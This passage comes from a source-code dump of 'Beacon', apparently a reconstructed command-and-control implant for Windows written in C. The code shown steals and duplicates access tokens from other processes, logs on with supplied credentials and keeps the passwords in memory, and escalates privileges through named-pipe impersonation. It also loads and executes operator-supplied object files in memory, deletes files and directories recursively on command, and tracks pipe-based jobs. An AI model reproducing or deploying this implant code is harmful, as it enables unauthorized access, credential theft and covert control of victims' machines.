if(firstFile == INVALID_HANDLE_VALUE)
{
int lastError = GetLastError();
LERROR("Could not open %s: %s", filename, LAST_ERROR_STR(lastError));
BeaconErrorDS(ERROR_LIST_OPEN_FAILED, lastError, filename);
int size = BeaconFormatLength(&locals);
char* data = BeaconFormatOriginal(&locals);
BeaconOutput(CALLBACK_PENDING, data, size);
goto cleanup;
}
SYSTEMTIME systemTime, localTime;
do
{
FileTimeToSystemTime(&findData.ftLastWriteTime, &systemTime);
SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime);
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
BeaconFormatPrintf(&locals, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
localTime.wMonth, localTime.wDay, localTime.wYear,
localTime.wHour, localTime.wMinute, localTime.wSecond,
findData.cFileName);
}
else
{
BeaconFormatPrintf(&locals, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
((ULONGLONG)findData.nFileSizeHigh << 32) | findData.nFileSizeLow,
localTime.wMonth, localTime.wDay, localTime.wYear,
localTime.wHour, localTime.wMinute, localTime.wSecond,
findData.cFileName);
}
} while (FindNextFileA(firstFile, &findData));
FindClose(firstFile);
int size = BeaconFormatLength(&locals);
char* data = BeaconFormatOriginal(&locals);
BeaconOutput(CALLBACK_PENDING, data, size);
cleanup:
free(filename);
BeaconFormatFree(&locals);
}
BOOL FilesystemIsDirectory(char* filename)
{
return GetFileAttributesA(filename) & FILE_ATTRIBUTE_DIRECTORY;
}
void FilesystemRemoveRecursiveCallback(const char* a1, const char* a2, BOOL isDirectory)
{
char* lpPathName = (char*)malloc(0x4000);
_snprintf(lpPathName, 0x4000, "%s\\%s", a1, a2);
if (isDirectory)
RemoveDirectoryA(lpPathName);
else
DeleteFileA(lpPathName);
free(lpPathName);
}
void FilesystemFindAndProcess(char* filename, WIN32_FIND_DATAA* findData)
{
#define MAX_FILENAME 0x8000
char* lpFileName;
lpFileName = malloc(MAX_FILENAME);
snprintf(lpFileName, MAX_FILENAME, "%s\\*", filename);
LPWIN32_FIND_DATAA lpCurrentFindFileData = findData;
HANDLE hFindFile = FindFirstFileA(lpFileName, lpCurrentFindFileData);
free(lpFileName);
if (hFindFile == INVALID_HANDLE_VALUE)
return;
do
{
if(lpCurrentFindFileData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if (strcmp(lpCurrentFindFileData->cFileName, ".") && strcmp(lpCurrentFindFileData->cFileName, ".."))
{
char* lpFileNameInternal = malloc(MAX_FILENAME);
snprintf(lpFileNameInternal, MAX_FILENAME, "%s", lpCurrentFindFileData->cFileName);
lpFileName = malloc(MAX_FILENAME);
snprintf(lpFileName, MAX_FILENAME, "%s\\%s", filename, findData->cFileName);
FilesystemFindAndProcess(lpFileName, findData);
free(lpFileName);
FilesystemRemoveRecursiveCallback(filename, lpFileNameInternal, TRUE);
free(lpFileNameInternal);
}
lpCurrentFindFileData = findData;
}
else
{
FilesystemRemoveRecursiveCallback(filename, lpCurrentFindFileData->cFileName, FALSE);
}
} while (FindNextFileA(hFindFile, lpCurrentFindFileData));
FindClose(hFindFile);
}
void FilesystemRemoveDirectoryChildren(char* filepath)
{
WIN32_FIND_DATAA findData;
FilesystemFindAndProcess(
filepath,
&findData);
}
void FilesystemRemove(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
char* filepath = BeaconDataStringPointerCopy(&parser, 0x4000);
if (FilesystemIsDirectory(filepath))
{
FilesystemRemoveDirectoryChildren(filepath);
RemoveDirectoryA(filepath);
}
else
{
DeleteFileA(filepath);
}
free(filepath);
}
================================================
FILE: Beacon/filesystem.h
================================================
#pragma once
void FilesystemCd(char* buffer, int length);
void FilesystemPwd();
void FilesystemMkdir(char* buffer, int length);
void FilesystemDrives(char* buffer, int length);
void FilesystemMove(char* buffer, int length);
void FilesystemCopy(char* buffer, int length);
void FilesystemList(char* buffer, int length);
void FilesystemRemove(char* buffer, int length);
================================================
FILE: Beacon/format.c
================================================
#include "pch.h"
#include "beacon.h"
void BeaconFormatAlloc(formatp* format, int maxsz)
{
char* buffer = (char*)malloc(maxsz);
BeaconFormatUse(format, buffer, maxsz);
}
void BeaconFormatUse(formatp* format, char* buffer, int size)
{
*format = (formatp){ buffer, buffer, 0, size };
}
void BeaconFormatReset(formatp* format)
{
*format = (formatp){ format->original, format->original, 0, format->size };
}
void BeaconFormatAppend(formatp* format, char* text, int len)
{
if (format->size - format->length >= len)
return;
if (len == 0)
return;
memcpy(format->buffer, text, len);
format->buffer += len;
format->length += len;
}
void BeaconFormatPrintf(formatp* format, char* fmt, ...)
{
va_list args;
va_start(args, fmt);
int len = vsnprintf(format->buffer, format->size - format->length, fmt, args);
format->buffer += len;
format->length += len;
va_end(args);
}
void BeaconFormatFree(formatp* format)
{
/* note: we don't force memzero the buffer explicitly, as free is already overwritten to do that */
free(format->original);
}
void BeaconFormatInt(formatp* format, int value)
{
value = htonl(value);
BeaconFormatAppend(format, (char*)&value, sizeof(int));
}
void BeaconFormatShort(formatp* format, short value)
{
value = htons(value);
BeaconFormatAppend(format, (char*)&value, sizeof(short));
}
void BeaconFormatChar(formatp* format, char value)
{
BeaconFormatAppend(format, (char*)&value, sizeof(char));
}
char* BeaconFormatOriginal(formatp* format)
{
return format->original;
}
char* BeaconFormatBuffer(formatp* format)
{
return format->buffer;
}
int BeaconFormatLength(formatp* format)
{
return format->length;
}
char* BeaconFormatToString(formatp* format, int* size)
{
if (!size)
return NULL;
*size = BeaconDataLength(format);
return BeaconDataOriginal(format);
}
================================================
FILE: Beacon/identity.c
================================================
#include "pch.h"
#include "identity.h"
#include "beacon.h"
#include "thread.h"
HANDLE gIdentityToken;
BOOL gIdentityIsLoggedIn;
WCHAR* gIdentityDomain;
WCHAR* gIdentityUsername;
WCHAR* gIdentityPassword;
datap* gIdentityCredentialsParser;
/**
* Retrieves the username associated with the given token handle.
*
* @param hToken The handle to the token.
* @param buffer The buffer to store the username.
* @param size The size of the buffer.
* @return Returns TRUE if the username is successfully retrieved, FALSE otherwise.
*/
BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size)
{
CHAR tokenInfo[0x1000];
DWORD returnLength;
// Get the token information for the given token handle.
if (!GetTokenInformation(hToken, TokenUser, tokenInfo, sizeof(tokenInfo), &returnLength))
return FALSE;
CHAR name[0x200] = { 0 };
CHAR domain[0x200] = { 0 };
DWORD nameLength = sizeof(name);
DWORD domainLength = sizeof(domain);
// Lookup the account SID to retrieve the username and domain.
if (!LookupAccountSidA(NULL, ((TOKEN_USER*)tokenInfo)->User.Sid, name, &nameLength, domain, &domainLength, NULL))
return FALSE;
// Format the username in the format "domain\username" and store it in the buffer.
snprintf(buffer, size, "%s\\%s", domain, name);
buffer[size - 1] = 0;
return TRUE;
}
void IdentityRevertToken(void)
{
if (gIdentityToken)
RevertToSelf();
}
void IdentityConditionalRevert(BOOL ignoreToken)
{
if (ignoreToken)
IdentityRevertToken();
}
void IdentityImpersonateToken(void)
{
if (gIdentityToken)
ImpersonateLoggedOnUser(gIdentityToken);
}
void IdentityConditionalImpersonate(BOOL ignoreToken)
{
if (ignoreToken)
IdentityImpersonateToken();
}
void IdentityGetUidInternal(HANDLE hToken)
{
char userInfo[0x200];
if (IdentityGetUserInfo(hToken, userInfo, sizeof(userInfo)))
{
char uidString[0x400];
snprintf(uidString, sizeof(uidString), BeaconIsAdmin() ? "%s (admin)" : "%s", userInfo);
BeaconOutput(CALLBACK_TOKEN_GETUID, uidString, strlen(uidString));
}
}
void IdentityGetUid(void)
{
HANDLE hToken;
if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)
|| OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
{
IdentityGetUidInternal(hToken);
CloseHandle(hToken);
} else if (gIdentityToken)
{
IdentityRevertToken();
IdentityGetUidInternal(gIdentityToken);
IdentityImpersonateToken();
} else
{
LERROR("Failed to open token");
BeaconErrorNA(ERROR_OPEN_TOKEN_FAILED);
}
}
/**
* Apply the specified token as Beacon's current thread token.
* Sets the token for the current thread and reports the new token to the user.
*
* @param token The handle to the token to be used.
* @return Returns TRUE if the identity-related operations were successful, otherwise FALSE.
*/
BOOL BeaconUseToken(HANDLE token)
{
static const int MAX_BUFFER = 0x100;
// Allocate a buffer to store user information
char* buffer = malloc(MAX_BUFFER);
memset(buffer, 0, MAX_BUFFER);
BOOL result;
BeaconRevertToken();
// Impersonate the logged-on user using the specified token
if (!ImpersonateLoggedOnUser(token))
{
result = FALSE;
goto cleanup;
}
// Duplicate the token with maximum allowed access rights
if (!DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityDelegation, TokenPrimary, &gIdentityToken))
{
result = FALSE;
goto cleanup;
}
// Impersonate the logged-on user using the duplicated token
if (!ImpersonateLoggedOnUser(gIdentityToken))
{
result = FALSE;
goto cleanup;
}
// Get user information from the token and store it in the buffer
if (!IdentityGetUserInfo(gIdentityToken, buffer, MAX_BUFFER))
{
result = FALSE;
goto cleanup;
}
// Report the new token to the user
BeaconOutput(CALLBACK_TOKEN_STOLEN, buffer, strlen(buffer));
result = TRUE;
cleanup:
// Clear the buffer and free the allocated memory
memset(buffer, 0, MAX_BUFFER);
free(buffer);
return result;
}
/**
* Drops the current thread token.
* Use this over direct calls to RevertToSelf().
* This function cleans up other state information about the token as well.
*/
void BeaconRevertToken(void)
{
// If there an already stolen token, close its handle.
if (gIdentityToken)
CloseHandle(gIdentityToken);
// Reset the token.
gIdentityToken = NULL;
// Revert to the self security context (that is, drop the stolen token from the current thread)
RevertToSelf();
// Free the memory allocated for the credentials format.
if (gIdentityCredentialsParser) {
BeaconFormatFree(gIdentityCredentialsParser);
memset(&gIdentityDomain, 0, IDENTITY_MAX_WCHARS_DOMAIN);
}
}
/**
* Checks if the current user running the code has administrative privileges.
*
* @return TRUE if Beacon is in a high-integrity context, FALSE otherwise.
*/
BOOL BeaconIsAdmin(void)
{
// Define the SID_IDENTIFIER_AUTHORITY structure and initialize it with the SECURITY_NT_AUTHORITY constant.
SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
// Allocate and initialize a security identifier (SID) for the built-in administrators group.
PSID sid;
if (!AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &sid))
return FALSE;
// Check if the current token (security context) is a member of the specified group SID.
BOOL isAdmin;
if (!CheckTokenMembership(NULL, sid, &isAdmin)) {
FreeSid(sid);
return FALSE;
}
// Free the allocated SID and return the result.
FreeSid(sid);
return isAdmin;
}
void IdentityLoginUserInternal(char* domain, char* username, char* password)
{
BeaconRevertToken();
if(!LogonUserA(username, domain, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_WINNT50, &gIdentityToken))
{
int error = GetLastError();
LERROR("Could not create token: %s", LAST_ERROR_STR(error));
BeaconErrorD(ERROR_CREATE_TOKEN_FAILED, error);
return;
}
if (!ImpersonateLoggedOnUser(gIdentityToken))
{
int error = GetLastError();
LERROR("Failed to impersonate token: %s", LAST_ERROR_STR(error));
BeaconErrorD(ERROR_IMPERSONATE_TOKEN_FAILED, error);
return;
}
gIdentityCredentialsParser = BeaconDataAlloc(2048);
gIdentityDomain = BeaconDataPtr(gIdentityCredentialsParser, IDENTITY_MAX_WCHARS_DOMAIN * sizeof(WCHAR));
gIdentityUsername = BeaconDataPtr(gIdentityCredentialsParser, IDENTITY_MAX_WCHARS_USERNAME * sizeof(WCHAR));
gIdentityPassword = BeaconDataPtr(gIdentityCredentialsParser, IDENTITY_MAX_WCHARS_PASSWORD * sizeof(WCHAR));
toWideChar(domain, gIdentityDomain, IDENTITY_MAX_WCHARS_DOMAIN);
toWideChar(username, gIdentityUsername, IDENTITY_MAX_WCHARS_USERNAME);
toWideChar(password, gIdentityPassword, IDENTITY_MAX_WCHARS_PASSWORD);
gIdentityIsLoggedIn = TRUE;
if (IdentityGetUserInfo(gIdentityToken, (char*)username, 1024))
{
BeaconOutput(CALLBACK_TOKEN_STOLEN, username, strlen(username));
}
}
void IdentityLoginUser(char* buffer, int length)
{
#define MAX_DOMAIN 1024
#define MAX_USERNAME 1024
#define MAX_PASSWORD 1024
datap* locals = BeaconDataAlloc(MAX_DOMAIN + MAX_USERNAME + MAX_PASSWORD);
char* domain = BeaconDataPtr(locals, MAX_DOMAIN);
char* username = BeaconDataPtr(locals, MAX_USERNAME);
char* password = BeaconDataPtr(locals, MAX_PASSWORD);
datap parser;
BeaconDataParse(&parser, buffer, length);
if(!BeaconDataStringCopySafe(&parser, domain, MAX_DOMAIN))
{
LERROR("Failed to parse domain");
return;
}
if(!BeaconDataStringCopySafe(&parser, username, MAX_USERNAME))
{
LERROR("Failed to parse username");
return;
}
if(!BeaconDataStringCopySafe(&parser, password, MAX_PASSWORD))
{
LERROR("Failed to parse password");
return;
}
IdentityLoginUserInternal(domain, username, password);
BeaconDataFree(locals);
}
void IdentityStealToken(char* buffer, int length)
{
int pid;
if (length != sizeof(pid))
return;
datap parser;
BeaconDataParse(&parser, buffer, length);
pid = BeaconDataInt(&parser);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hProcess)
{
int lastError = GetLastError();
LERROR("Could not open process %d: %s", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_OPEN_PROCESS_FAILED, pid, lastError);
return;
}
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken))
{
int lastError = GetLastError();
LERROR("Could not open process token: %d (%s)", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_OPEN_PROCESS_TOKEN_FAILED, pid, lastError);
return;
}
BeaconRevertToken();
if (!ImpersonateLoggedOnUser(hToken))
{
int lastError = GetLastError();
LERROR("Failed to impersonate token from %d (%s)", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_IMPERSONATE_STEAL_TOKEN_FAILED, pid, lastError);
return;
}
if(!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityDelegation, TokenPrimary, &gIdentityToken))
{
int lastError = GetLastError();
LERROR("Failed to duplicate token from %d (%s)", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_DUPLICATE_TOKEN_FAILED, pid, lastError);
return;
}
if (!ImpersonateLoggedOnUser(gIdentityToken))
{
int lastError = GetLastError();
LERROR("Failed to impersonate logged on user %d (%s)", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_IMPERSONATE_LOGGED_ON_USER_FAILED, pid, lastError);
return;
}
CloseHandle(hProcess);
if (hToken)
CloseHandle(hToken);
char accountName[0x200];
if (IdentityGetUserInfo(gIdentityToken, accountName, sizeof(accountName)))
{
BeaconOutput(CALLBACK_TOKEN_STOLEN, accountName, strlen(accountName));
}
}
HANDLE hElevationToken;
HANDLE hPrenamedPipe;
HANDLE hPreelevationAuxThread;
HANDLE hPrenamedPipe;
void IdentityElevationThread(LPVOID lpThreadParameter)
{
#define MAX_TO_READ 128
while (!ConnectNamedPipe(hPrenamedPipe, NULL) && GetLastError() != ERROR_PIPE_CONNECTED);
char toRead[MAX_TO_READ] = { 0 };
DWORD read = 0;
if(ReadFile(hPrenamedPipe, toRead, sizeof(char), &read, NULL))
{
if(ImpersonateNamedPipeClient(hPrenamedPipe))
{
HANDLE hCurrentThread = GetCurrentThread();
if (OpenThreadToken(hCurrentThread, TOKEN_ALL_ACCESS, FALSE, &hElevationToken))
{
if(hPrenamedPipe)
{
DisconnectNamedPipe(hPrenamedPipe);
CloseHandle(hPrenamedPipe);
}
}
}
}
--gThreadsActive;
}
void IdentityElevatePre(char* buffer, int length)
{
#define MAX_NAME 0x100
char name[MAX_NAME];
if (length > MAX_NAME)
return;
size_t end = length;
memcpy(name, buffer, length);
name[end] = 0;
hElevationToken = INVALID_HANDLE_VALUE;
hPreelevationAuxThread = INVALID_HANDLE_VALUE;
hPrenamedPipe = CreateNamedPipeA(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 2, 0, 0, 0, NULL);
if (hPrenamedPipe)
{
hPreelevationAuxThread = CreateThreadEx(IdentityElevationThread, NULL);
}
}
void IdentityElevatePost()
{
#define MAX_ACCOUNT_NAME 0x200
char accountName[MAX_ACCOUNT_NAME];
if (hPreelevationAuxThread != INVALID_HANDLE_VALUE)
{
WaitForSingleObject(hPreelevationAuxThread, 15000);
}
if(hElevationToken == INVALID_HANDLE_VALUE)
{
LERROR("Failed to open token");
BeaconErrorNA(ERROR_OPEN_TOKEN_FAILED);
return;
}
if (!ImpersonateLoggedOnUser(hElevationToken))
{
DWORD lastError = GetLastError();
LERROR("Failed to impersonate token: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_POST_IMPERSONATE_TOKEN_FAILED, lastError);
return;
}
gIdentityToken = hElevationToken;
if (IdentityGetUserInfo(hElevationToken, accountName, sizeof(accountName)))
BeaconOutput(CALLBACK_TOKEN_STOLEN, accountName, strlen(accountName));
}
void IdentityGetPrivilegesInternal(char* buffer, int length, HANDLE hToken, formatp* locals)
{
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
datap parser;
BeaconDataParse(&parser, buffer, length);
short numPrivileges = BeaconDataShort(&parser);
char name[64];
for (int i = 0; i < numPrivileges; i++)
{
BeaconDataStringCopySafe(&parser, name, sizeof(name));
tokenPrivileges.PrivilegeCount = 0;
tokenPrivileges.Privileges[0].Luid.HighPart = 0;
if (LookupPrivilegeValueA(NULL, name, &tokenPrivileges.Privileges[0].Luid))
{
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL))
{
if (!GetLastError())
{
BeaconFormatPrintf(locals, "%s\n", name);
}
}
}
}
}
void IdentityGetPrivileges(char* buffer, int length)
{
formatp locals;
BeaconFormatAlloc(&locals, 0x8000);
if(gIdentityDomain)
{
IdentityRevertToken();
IdentityGetPrivilegesInternal(buffer, length, gIdentityToken, &locals);
IdentityImpersonateToken();
}else
{
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
if(OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
IdentityGetPrivilegesInternal(buffer, length, hToken, &locals);
CloseHandle(hProcess);
}else
{
LERROR("Could not open process token");
BeaconErrorNA(ERROR_OPEN_PROCESS_TOKEN_PRIVS_FAILED);
}
}
if (BeaconDataLength(&locals))
{
int size = BeaconDataLength(&locals);
char* data = BeaconDataOriginal(&locals);
BeaconOutput(CALLBACK_OUTPUT, data, size);
}
BeaconFormatFree(&locals);
}
================================================
FILE: Beacon/identity.h
================================================
#pragma once
extern HANDLE gIdentityToken;
extern BOOL gIdentityIsLoggedIn;
#define IDENTITY_MAX_WCHARS_DOMAIN 256
#define IDENTITY_MAX_WCHARS_USERNAME 256
#define IDENTITY_MAX_WCHARS_PASSWORD 512
extern WCHAR* gIdentityDomain;
extern WCHAR* gIdentityUsername;
extern WCHAR* gIdentityPassword;
void IdentityRevertToken(void);
void IdentityImpersonateToken(void);
void IdentityConditionalRevert(BOOL ignoreToken);
void IdentityConditionalImpersonate(BOOL ignoreToken);
void IdentityLoginUser(char* buffer, int length);
void IdentityGetUid(void);
void IdentityStealToken(char* buffer, int length);
void IdentityElevatePre(char* buffer, int length);
void IdentityElevatePost();
void IdentityGetPrivileges(char* buffer, int length);
================================================
FILE: Beacon/inline_execute_object.c
================================================
#include "pch.h"
#include "inline_execute_object.h"
#include "api.h"
#include "beacon.h"
#include "settings.h"
#include "spawn.h"
// 1. Sections; 2. Relocations; 3. Symbols (hierarchy)
struct bapi;
typedef struct _RELOCATION
{
unsigned short r_type; // relocation type - r_type
union {
short section;
short function;
} sof;
long r_vaddr; //virtual address of the item to be relocated - r_vaddr
unsigned long e_value; //value of the symbol - e_value
} RELOCATION;
// Relocate a 32-bit relative reference
#define RELOC_REL32 20
// Relocate a 32-bit absolute reference
#define RELOC_ADDR32 6
#define RELOC64_REL32 4
#define RELOC_UNK_10 10
BOOL ProcessRelocation(RELOCATION* relocation, char* code, char* img, char* pSection, unsigned long offsetInSection)
{
// This is for the BOF to be able to call Win32 APIs
if (IS_X64() && relocation->r_type < RELOC_UNK_10)
{
const unsigned long long diff = *(unsigned long*)(code + relocation->r_vaddr) + (unsigned long long)(pSection + offsetInSection) - (unsigned long long)(img + relocation->r_vaddr + relocation->r_type);
// Check if the difference is too big to fit in a 32-bit signed integer
if (diff + (UINT_MAX / 2 + 1) > UINT_MAX)
{
LERROR("Relocation truncated to fit (distance between executable code and other data is >4GB)");
BeaconErrorNA(ERROR_RELOCATION_TRUNCATED_TO_FIT);
return FALSE;
}
*(long*)(code + relocation->r_vaddr) = *(long*)(code + relocation->r_vaddr) + (long)(pSection + offsetInSection) - (long)(img + relocation->r_vaddr + relocation->r_type);
} else if (!IS_X64() && relocation->r_type == RELOC_ADDR32)
{
*(long*)(code + relocation->r_vaddr) = *(long*)(code + relocation->r_vaddr) + (long)(pSection + offsetInSection);
}
else if (!IS_X64() && relocation->r_type == RELOC_REL32)
{
*(long*)(code + relocation->r_vaddr) = *(long*)(code + relocation->r_vaddr) + (long)(pSection + offsetInSection) - (long)(img + relocation->r_vaddr + 4);
}
else
{
LERROR("Un-implemented relocation type %d", relocation->r_type);
BeaconErrorD(ERROR_UNIMPLEMENTED_RELOCATION_TYPE, relocation->r_type);
return FALSE;
}
return TRUE;
}
#define RDATA_SECTION_RELOC 1024
#define DATA_SECTION_RELOC 1025
#define EXE_SECTION_RELOC 1026
#define DYNAMIC_FUNC_RELOC 1027
#define MULTI_RELOC 1028
void InlineExecuteObject(char* buffer, int length)
{
bapi *api = malloc(sizeof(bapi));
BeaconAPI(api);
datap parser;
BeaconDataParse(&parser, buffer, length);
int entryPoint = BeaconDataInt(&parser);
sizedbuf codePair;
char* code = BeaconDataLengthAndString(&parser, &codePair);
int codeLength = codePair.size;
sizedbuf rdataPair;
char* rdata = BeaconDataLengthAndString(&parser, &rdataPair);
sizedbuf dataPair;
char* data = BeaconDataLengthAndString(&parser, &dataPair);
sizedbuf relocationsPair;
char* relocations = BeaconDataLengthAndString(&parser, &relocationsPair);
sizedbuf bytesPair;
char* bytes = BeaconDataLengthAndString(&parser, &bytesPair);
char* img = VirtualAlloc(NULL, codeLength, MEM_COMMIT | MEM_RESERVE, S_PROCINJ_PERMS_I);
if (!img)
{
free(api);
return;
}
PROC* dynamicFunctionPtr;
datap relocationsParser;
BeaconDataParse(&relocationsParser, relocations, relocationsPair.size);
//Clean version:
for (RELOCATION* relocation = (RELOCATION*)BeaconDataPtr(&relocationsParser, sizeof(RELOCATION));
relocation->sof.section != MULTI_RELOC;
relocation = (RELOCATION*)BeaconDataPtr(&relocationsParser, sizeof(RELOCATION)))
{
BOOL success;
if (relocation->sof.section == RDATA_SECTION_RELOC)
{
success = ProcessRelocation(relocation, code, img, rdata, relocation->e_value);
}
else if (relocation->sof.section == DATA_SECTION_RELOC)
{
success = ProcessRelocation(relocation, code, img, data, relocation->e_value);
}
else if (relocation->sof.section == EXE_SECTION_RELOC)
{
success = ProcessRelocation(relocation, code, img, img, relocation->e_value);
}
else
{
if (relocation->sof.function != DYNAMIC_FUNC_RELOC)
{
// BOF Internal function
dynamicFunctionPtr = (PROC*)api + relocation->sof.function;
}
else
{
// BOF Dynamic function
char* lpModuleName = BeaconDataStringPointer(&relocationsParser);
char* lpProcName = BeaconDataStringPointer(&relocationsParser);
HMODULE hModule = GetModuleHandleA(lpModuleName);
if (!hModule)
{
hModule = LoadLibraryA(lpModuleName);
}
FARPROC lpProc = GetProcAddress(hModule, lpProcName);
if (!lpProc)
{
LERROR("Could not resolve API %s!%s", lpModuleName, lpProcName);
BeaconErrorPrintf(ERROR_RESOLVE_API_FAILED, "%s!%s", lpModuleName, lpProcName);
goto cleanup;
}
PROC* dynamicFunction = FindOrAddDynamicFunction(api, lpProc);
if (!dynamicFunction)
{
LERROR("No slot for function (reduce number of Win32 APIs called)");
BeaconErrorNA(ERROR_NO_SLOT_FOR_FUNCTION);
goto cleanup;
}
dynamicFunctionPtr = dynamicFunction;
}
success = ProcessRelocation(relocation, code, img, (char*)dynamicFunctionPtr, 0);
}
if (!success)
{
goto cleanup;
}
}
memcpy(img, code, codeLength);
memset(code, 0, codeLength);
if (AdjustMemoryPermissions(img, codeLength))
{
// Call the entry point whose signature is void go(char* buff, int len)
((void(*)(char*, int))(img + entryPoint))(bytes, bytesPair.size);
}
cleanup:
VirtualFree(img, 0, MEM_RELEASE);
free(api);
}
================================================
FILE: Beacon/inline_execute_object.h
================================================
#pragma once
void InlineExecuteObject(char* buffer, int length);
================================================
FILE: Beacon/job.c
================================================
#include "pch.h"
#include "job.h"
#include "beacon.h"
#include "identity.h"
#include "pipe.h"
#include "protocol.h"
#include "spawn.h"
#include "utils.h"
typedef struct _JOB_ENTRY
{
int id;
HANDLE process;
HANDLE thread;
__int64 pid;
HANDLE hRead;
HANDLE hWrite;
struct _JOB_ENTRY* next;
SHORT isPipe;
SHORT isDead;
int pid32;
DWORD callbackType;
BOOL isMsgMode;
char description[64];
} JOB_ENTRY;
JOB_ENTRY* gJobs = NULL;
JOB_ENTRY* JobAdd(JOB_ENTRY* newJob)
{
static DWORD gJobCurrentId = 0;
JOB_ENTRY* job = gJobs;
newJob->id = gJobCurrentId++;
// Add to the end of the list
if (job)
{
while (job->next)
job = job->next;
job->next = newJob;
}
else
{
gJobs = newJob;
}
return job;
}
void JobCleanup()
{
// Close handles associated with completed jobs
// If gJobs is not empty, iterate through the list
;
for (JOB_ENTRY* job = gJobs; job; job = job->next)
{
if (job->isDead)
{
if (!job->isPipe)
{
CloseHandle(job->process);
CloseHandle(job->thread);
CloseHandle(job->hRead);
CloseHandle(job->hWrite);
} else
{
DisconnectNamedPipe(job->hRead);
CloseHandle(job->hRead);
}
}
}
JOB_ENTRY* prev = NULL;
JOB_ENTRY** pNext;
for (JOB_ENTRY* job = gJobs; job; job = *pNext)
{
if (!job->isDead)
{
prev = job;
pNext = &job->next;
continue;
}
if (prev)
pNext = &prev->next;
else
pNext = &gJobs;
*pNext = job->next;
free(job);
}
}
void JobKill(char* buffer, int size)
{
datap parser;
BeaconDataParse(&parser, buffer, size);
short id = BeaconDataShort(&parser);
for (JOB_ENTRY* job = gJobs; job; job = job->next)
{
if (job->id == id)
job->isDead = TRUE;
}
JobCleanup();
}
void JobPrintAll()
{
formatp format;
BeaconFormatAlloc(&format, 0x8000);
for (JOB_ENTRY* job = gJobs; job; job = job->next)
{
BeaconFormatPrintf(&format, "%d\t%d\t%s\n", job->id, job->pid32, job->description);
}
int size = BeaconDataLength(&format);
char* buffer = BeaconDataOriginal(&format);
BeaconOutput(CALLBACK_JOBS, buffer, size);
BeaconFormatFree(&format);
}
JOB_ENTRY* JobRegisterProcess(PROCESS_INFORMATION* pi, HANDLE hRead, HANDLE hWrite, char* description)
{
JOB_ENTRY* job = (JOB_ENTRY*)malloc(sizeof(JOB_ENTRY));
if (!job)
return NULL;
job->process = pi->hProcess;
job->thread = pi->hThread;
job->next = NULL;
job->isPipe = FALSE;
job->hRead = hRead;
job->hWrite = hWrite;
job->pid = pi->dwProcessId;
job->callbackType = CALLBACK_OUTPUT;
job->isMsgMode = FALSE;
job->pid32 = pi->dwProcessId;
strncpy(job->description, description, sizeof(job->description));
return JobAdd(job);
}
int JobReadDataFromPipe(HANDLE hPipe, char* buffer, int size)
{
DWORD totalBytesAvail = 0;
if(!PeekNamedPipe(hPipe, NULL, 0, NULL, &totalBytesAvail, NULL))
return -1;
DWORD read = 0;
DWORD totalRead = 0;
while(totalBytesAvail)
{
if(totalRead >= size)
break;
ReadFile(hPipe, buffer, size - totalRead, &read, NULL);
totalRead += read;
buffer += read;
if (!PeekNamedPipe(hPipe, NULL, 0, NULL, &totalBytesAvail, NULL))
return -1;
}
return totalRead;
}
int JobReadDataFromPipeWithHeader(HANDLE hPipe, char* buffer, int size)
{
DWORD lpTotalBytesAvail;
DWORD headerSize = 0;
if (!PeekNamedPipe(hPipe, NULL, 0, NULL, &lpTotalBytesAvail, NULL))
return -1;
if (!lpTotalBytesAvail)
return 0;
if (ProtocolSmbPipeRead(hPipe, (char*)&headerSize, sizeof(headerSize)) != sizeof(headerSize) || headerSize > size)
return -1;
return ProtocolSmbPipeRead(hPipe, buffer, headerSize);
}
JOB_ENTRY* JobRegisterPipe(HANDLE hRead, int pid32, int callbackType, char* description, BOOL isMsgMode)
{
JOB_ENTRY* job = (JOB_ENTRY*)malloc(sizeof(JOB_ENTRY));
if (!job)
return NULL;
job->hWrite = INVALID_HANDLE_VALUE;
job->next = NULL;
job->isMsgMode = isMsgMode;
job->hRead = hRead;
job->isPipe = TRUE;
job->pid32 = pid32;
job->callbackType = callbackType;
strncpy(job->description, description, sizeof(job->description));
return JobAdd(job);
}
void JobRegister(char* buffer, int size, BOOL impersonate, BOOL isMsgMode)
{
char filename[64] = { 0 };
char description[64] = { 0 };
datap parser;
BeaconDataParse(&parser, buffer, size);
int pid32 = BeaconDataInt(&parser);
short callbackType = BeaconDataShort(&parser);
short waitTime = BeaconDataShort(&parser);
if (!BeaconDataStringCopySafe(&parser, filename, sizeof(filename)))
return;
if (!BeaconDataStringCopySafe(&parser, description, sizeof(description)))
return;
HANDLE hPipe;
int attempts = 0;
while (!PipeConnectWithToken(filename, &hPipe, impersonate ? 0x20000 : 0))
{
Sleep(500);
